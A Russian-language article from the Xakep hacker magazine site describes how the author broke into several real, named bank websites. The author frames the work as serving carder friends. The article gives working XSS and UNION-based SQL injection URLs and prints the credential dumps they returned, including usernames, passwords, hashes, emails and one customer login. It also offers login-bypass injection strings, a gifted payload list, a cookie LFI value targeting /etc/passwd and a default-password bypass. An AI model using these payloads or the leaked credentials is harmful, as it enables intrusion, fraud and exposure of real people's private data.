Карта сайта Хакер в RSS Энциклопедия Хакера PDA версия сайта Почтовые рассылки Хакера    Хакер в Twitter Хакер в ВКонтакте Приложение Хакер для Facebook Хакер на Formspring.me
Журнал Новости Форум Видео Life Xakep Live (блоги)
Bugtrack Статьи Блог Поиск English
Итоги конкурса Group-IB Итоги конкурса Group-IB
Настало время подведения итогов нашего конкурса, который мы проводили совместно с компанией Group-IB, специализирующейся на расследовании инцидентов информационной безопасности....
Трюки с phpinfo Трюки с phpinfo
Совсем недавно в паблике появилась информация о новом интересном подходе к эксплуатации уязвимостей класса LFI с помощью бесполезной на первый взгляд функции phpinfo() и временных загрузочных файлов. Берем на вооружение этот полезный прием....

Хакер № 05/09 (125)

Чудеса финансовой безопасности. Псевдозащищенность банков

Noname


Взломать банк? Только не сегодня, - давайте завтра. Что представляет собой безопасность банковских ресурсов? Они активно охраняются законом, а также проходили аттестацию по стандарту PCI DSS, цель которого повысить защищенность электронных и торговых систем. Но как это выглядит на самом деле? Давай проверим!

Разминка

Моим друзьям кардерам часто нужен целевой финансовый трафик. Чтобы кто-нибудь когда-нибудь такой трафик продавал на своем сервисе – это миф. Поэтому подобные предложения всегда актуальны. Хакер может и не получить доступ к онлайн-банкингу (потому, что тот будет на стороннем сервере), зато появится возможность заразить очень много посетителей, часть из которых, естественно, является прямой клиентурой.

Цель: statebank1898.com (США)

Это крупный банк, который расположен в США и предоставляет практически полный набор услуг по платежно-карточному сервису (ATM, персональный и корпоративный банкинг).

Бегло проанализировав скрипты, сразу же видим межсайтовый скриптинг:

http://www.statebank1898.com/search.asp?q=1&txtSearch=%27%22%3E%3C%2Ftitle%3E%
3Cscript%3Ealert(1337)%3C%2Fscript%3E%3E%3Cmarquee%3E%3Ch1%3EXSS+by+skvz%
3C%2Fh1%3E%3C%2Fmarquee%3E&x=18&y=15

Соответственно, реализация атаки напрямую зависит от поведения клиента и его ПО. Не факт, что, даже если зловредную ссылку откроют, хакеру улетят критичные данные. Во многих современных браузерах присутствует штатная защита от такого рода напастей (XSS-фильтр + антифишинговый фильтр в IE8, NoScript-плагин Mozilla, отключение JS). Поэтому следующей целью было найти что-то получше. Например, эксплуатацию SQL-injection через параметризованный линк:

http://www.statebank1898.com/news.asp?id=6'

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[MySQL][ODBC 3.51 Driver][mysqld-5.1.30-community]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY post_date DESC,id DESC' at line 1
/news.asp, line 54

Узнаем пользователя:

statebank1898.com/news.asp?id=6+AND+1=2+UNION+SELECT+0,user(),2,3,4,5,6

Ответ базы – «sbthappyrudie@208.109.78.117» – говорил о том, что все крутилось-вертелось на удаленном сервере, а не офсайте (64.202.178.162). По логике вещей, там должен крутиться процессинг, выявляемый по наличию всего двух портов (443-ssl, 21-ftp):

statebank1898.com/news.asp?id=6+AND+1=2+UNION+SELECT+0,database(),2,3,4,5,6

Ответ базы - «sbthappyrudie». Что в конечном итоге я и подставил в следующий запрос, с целью выведать, какие таблицы находились в базе:

statebank1898.com/news.asp?id=6+AND+1=2+UNION+SELECT+0,table_name,2,3,4,5,6+from+information_schema.tables+WHERE+table_schema=%27sbthappyrudie%27

Названия таблиц оказались весьма интересными: zipcode, users, uploads_navfile, uploads, states, rate_watch, press, online_banking, master, faq_category, faq, custom, content, branch, banners. Просмотр колонок каждый раз осуществлялся так:

statebank1898.com/news.asp?id=6+AND+1=2+UNION+SELECT+0,column_name,2,3,4,5,6+from+information_schema.columns+WHERE+table_name=%27online_banking%27

Ответ базы: sort_order, logon_url, id, active, account.

statebank1898.com/news.asp?id=6+AND+1=2+UNION+SELECT+0,column_name,2,3,4,5,6+from+information_schema.columns+WHERE+table_name=%27users%27

Ответ базы: username, password, id, full_name, form_enrollment, form_contact, email, active.

Остальные данные не особо важны. Кстати, как видишь, параметр с базой я отбросил, потому что мы и так находились в этой базе. Одним запросом я заполучил все интересующее из таблицы пользователей:

statebank1898.com/news.asp?id=6+AND+1=2+UNION+SELECT+0,concat(username,0x20,
password,%20id,0x20,full_name,0x20,form_enrollment,0x20,form_contact,0x20,email,0x20,active)
,2,3,4,5,6+from+users

Результатом взлома являлось:

johnny k8vt9~;3 Johnny Withers 0 0 johnny@pixelated.net 1
enrollment mvzwttumv|6 Online Enrollment 1 0 Business.Online@StateBank1898.com 0
kwv|ik|5 Contact Us 0 1 NetTeller@statebank1898.com 0
admin Oqjjm{[us{9@A@4 Admin 0 0 jlott@gibbes.net 1

И еще кое-что, что в опубликованном виде вряд ли бы понравилось СБ этого банка. Оставим коммерческие тайны за кадром.

Цель: Unibankhaiti.com (Франция)

Этот странный франкоязычный банк, прикрывающийся законами Гаити – моя криминальная мечта. Шутка. Ситуация тут аналогичная, только вот ни один запрос, даже простейший, не исполнялся нужным мне образом. Дело в том, что разработчиками системы была задумана идея шифрования данных, хранящихся в таблицах.

unibankhaiti.com/actualites/index.php?id_article=464+AND+1=2+UNION+SELECT+0,
CONCAT(0x7873716C696E6A626567696E,(SELECT+CONCAT_ws(0x3a3a,%20table_name,
version())+FROM+information_schema.tables),0x7873716C696E6A656E64),0x71),0x71),2,3,4,5,6,7,8,9-

Те же самые шаги по разведке колонок проделывать не было смысла, поэтому – сразу результат, который был получен за 5 минут:

База: uniban2_DB

[Table: Columns]
[0]statistiques: id,username,type_action,date,heure,page,ip,host,navigateur,referer
[1]succursales: id,statut,nom,description,adresse,directeur,telephone,fax,reseau,inauguration,horaire,services
[2]taffiches: ID,source,lien,debut,fin,place
[3]tagences: id,statut,nom,description,adresse,directeur,telephone,fax,reseau,inauguration,horaire,services
[4]tannonces: annonceID,image,titre,libelle,date,poste_par,actif
[5]tasctuces: AstuceID,titre,accroche,contenu,modifie_par,modifie_le,actif
[6]tcatfaq: id_cat,categorie
[7]temploi: id_article,image,date,titre,accroche,contenu,expirdate,ecritpar,postepar,actif
[8]tfaq: id_faq,id_cat,question,reponse
[9]tnews: id_article,image,date,titre,accroche,contenu,expirdate,ecritpar,postepar,actif
[10]tsuccursales: id,statut,nom,description,adresse,directeur,telephone,fax,reseau,inauguration,horaire,services
[11]ttaux: id,date,achat,vente,brh
[12]utilisateurs: id_utilisateur,log,pass,droits,acces!

Мои познания французского – нулевые, но, прибегнув к помощи онлайн-переводчика, я сразу понял, какая таблица и какие колонки мне требуются (смотри 12).

[0] 1:manitou:f6812478366f92bf385d8b611152ec74:7777777:index.php:
[1] 2:newsmaster:9ca43771207861a0dd00956bb503a95a:777777:admin_news.php:
[2] 3:ratemaster:dd8f54c23ee12799714d671e7e1f0e1b:000300:admin_succ.php:
[3] 4:ratemaster:dd8f54c23ee12799714d671e7e1f0e1b:000700:admin_succ.php:
[4] 5:reseau:117ba14f8471e7ec247bb0f7112ebbaf:001100:index.php:
[5] 6:reseau1:cb4bbcd4b4b47894a0e6db706fb415c2:007700:index.php:
[6] 12:drh1:841eb977300a2d84ab2ccf8f9077f1e0:000007:index.php:index.php:

Цель: TBCBANK.com.ge (Грузия)

Солидный грузинский банк! Давно привлек мое внимание, потому что, однажды, когда я проглядывал логи друга, беседуя на тему информационной безопасности банковского сектора, мне стало очевидно, что данные авторизации пользователя передаются в незашифрованном виде. Примерно так:

tbcbank.com.ge/ir/main.php?lang=eng&id=-80&action=1&uname=alexander.khazaradze%40statestreet.com&upass=xkoqma&OK=Login

Соответственно, login:Alexander.kharadze@statestreet.com, а пароль - xkogma.
Было бы удивительно, если мы каким-нибудь другим образом вторглись и в этот банк.

tbcbank.com.ge/ir/main.php?id=20+AND+1=2+UNION+SELECT+0,1,2,3-
tbcbank.com.ge/ir/main.php?id=20+AND+1=2+UNION+SELECT+0,concat_ws(t_user,0x20,t_pass),2,3+from+t_users

Сразу получаем данные на админа (admin:budianduk>) из t_users и бежим в админку «tbcbank.com.ge/ir/admin/index.php».
Остальные пользователи таблицы t_users:

Martin:Fankhauser:Atlantic Forfaitierungs AG:Othmarstrasse 8:8008 Zurich:NoDataInColumn:Switzerland:fankhauser@atlanticforfaiting.com:
pass: atlantic

Giorgi:Kekelidze:TBC Bank:Marjanishvili 7:tbilisi:0102:Georgia:gkekelidze@tbcbank.com.ge:+99532272727:+99532774772:
pass: IOio(0000
...
Tamar:Ramishvili:TBC: 0102:NoDataInColumn:Geo:tramishvili@gmail.com:hkjld:hupi:
Pass:tata

Цель: dasfla.com (международный)

По сути, один из лидеров в сфере ATM-процессинга. Тестируем главную форму авторизации на предмет «authorization bypass»: dasfla.com/loginscr.aspx.
Авторизируемся с данными:

Username: admin' or 1=1--
Password: admin' or 1=1-

Бинго! We are in! Перед глазами заветное: «Data Access Systems, Inc. User: Super Administrator».

Цель: abcdelabanca.com (Испания)

Может быть, здесь все будет так же просто?

http://www.abcdelabanca.com/admin/pages/frm_login.php

Авторизируемся с данными:

user: x' AND email IS NULL; --
pass : x' AND email IS NULL; --

Порядочек! Как же так выходит? Вот, в дар от меня, подборка специальных выражений, которые могут быть очень кстати при проведении атак такого рода:

or'1'='1'or'1'='1',
'or'1'='1'or'1'='1
' or ' '='
' or ''='
admin" or "a"="a
admin" or 1=1-
admin' or 1=1 -
admin' or 'a'='a
admin') or ('a'='a
admin") or ("a"="a
a=1)--
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a

Цель: privatbank.ua (Украина)

При заходе на https://blog.privatbank.ua/lib/request/choice_of_goods.php получаем ошибку:

«Ошибка синтаксического анализа XML: лишние данные после элемента документа
Адрес: https://blog.privatbank.ua/lib/request/choice_of_goods.php
Строка 2, символ 1:<table class="goods" cellspacing="0" cellpadding="5" border="0">»

При применении анализатора HTTP-протокола (я использовал Tamper Data) можно увидеть, что сайт ставит кук с параметром «language». Проверяем возможность LFI в cookie:

# приготавливаем злонамеренное значение cookie
language=../../../../../../../../etc/passwd%00
# далее подставляем его с помощью любого инжектора пакетов

Описанная процедура с Tamper Data, выглядит примерно так. Открываем: «Mozilla -> Инструменты -> Перехват данных -> Запустить перехват -> Открываем наш сайт -> Вмешаться в запрос -> Редактируем куки -> Отправить». Наряду с этой простой процедурой понимаем, что сгенерировавшийся запрос выглядит так:

Host[blog.privatbank.ua]
User-Agent[Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[ru,en-us;q=0.7,en;q=0.3]
Accept-Encoding[gzip,deflate]
Accept-Charset[windows-1251,utf-8;q=0.7,*;q=0.7]
Keep-Alive[300]
Connection[keep-alive]
Cookie[language=../../../../../../../../etc/passwd%00]
Cache-Control[max-age=0]

Соответственно, изменяя данные в куке, можно пробручивать доступность бага LFI к другим важным файлам, например, httpd.conf / php.ini. После чего одобрительно отмечаем будущие полученные запросы.

Далее мое внимание привлекло наличие на сайте линка с указанием какого-то нестандартного порта:

http://www.privatbank.ua:8085/info/index3.stm

Если обратиться строго по порту, то нам будут доступны для чтения документации по «EAServer 5.5 Release». Между прочим, насчет этого все известные багтраки кидают адвайзори:

«A vulnerability has been discovered in Sybase EAServer. If exploited,
this can result in user-specified code being executed under the security context of the
jagsrv.exe process. To complete this attack, you must be authenticated
to /WebConsole/. By default, the jagadmin user password is set to blank so getting access
might be trivial. After authenticating to /WebConsole/ if an attacker sets the value of
the JavaScript parameter in TreeAction.do to a large value a return address can be
overwritten due to a stack-based buffer overflow».

Действительно, «Authorization bypass» с логином jagadmin и пустым паролем прокатил.

Pros & Cons в использовании автоматизированных средств для SQL-injection

В статье я не прибегал к автоматизированным средствам, и тому есть ряд объективных причин. Работа ручками упражняет твои знания, и еще ты сам являешься гарантом всего, что делается.

Косяк SQL Injection Pentesting Tool (SIPT) заключается в том, что когда хочешь получить список таблиц или данные из таблицы при включенной галке LIMIT , то данные возвращаться не будут. Если эту опцию снять - все работает правильно. По словам разработчика SQLHACK, это его недоделка.

Pangolin

Китайская хиромантия, в 90% случаев определяющаяся как пасс-граббер. На самом же деле, это почти универсальная утилита для эксплойтинга SQL-injection сразу в ряде баз (MySQL, MSSQL, Oracle, Sybase, DB2, Access, Informix, PostgreSQL, SQLite).

Содержание  


ВИДЕО К ЭТОМУ НОМЕРУ

На седьмом небе с Windows Se7en
В семерке и сопутствующих инструментах сделан ряд действительно полезных усовершенствований, которые позволят получить действительно легко управляемую и безопасную систему...

Во власти гипервизора
В этом ролике мы установим Citrix XenServer и создадим виртуальную машину при помощи XenConsole...

Вскрываем SSL
То, насколько просто могут утечь логины и пароли, мы покажем в этом видео. Будь осторожен!...





Предыдущие номера


    Rambler's Top100